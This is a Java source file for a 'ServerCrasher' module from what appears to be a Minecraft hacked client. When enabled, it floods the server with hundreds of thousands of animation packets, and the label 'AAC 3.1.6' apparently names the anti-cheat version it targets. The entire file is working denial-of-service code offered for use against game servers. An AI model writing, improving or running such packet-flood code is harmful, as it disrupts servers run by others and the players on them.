package lunadevs.luna.module.exploits;

import org.lwjgl.input.Keyboard;

import lunadevs.luna.category.Category;
import lunadevs.luna.module.Module;
import net.minecraft.network.play.client.C0APacketAnimation;

public class ServerCrasher extends Module {

	public static boolean active;
	int loop;

	public ServerCrasher() {
		super("ServerCrasher", Keyboard.KEY_NONE, Category.EXPLOITS, true);
	}

	@Override
	public void onUpdate() {
		if (!this.isEnabled)
			return;
		++this.loop;
		if (this.loop > 6) {
			int spam = 0;
			while (spam < 100000) {
				mc.getNetHandler().addToSendQueue(new C0APacketAnimation());
				++spam;
				this.loop = 0;
			}
			super.onUpdate();
		}
	}

	@Override
	public void onEnable() {
		int spam = 0;
		while (spam < 200000) {
			mc.getNetHandler().addToSendQueue(new C0APacketAnimation());
			++spam;
		}
		z.addNiceMessage("Please wait, trying to lag...");
		super.onEnable();
	}

	@Override
	public void onDisable() {
		super.onDisable();
	}

	@Override
	public String getValue() {
		return "AAC 3.1.6";
	}

}
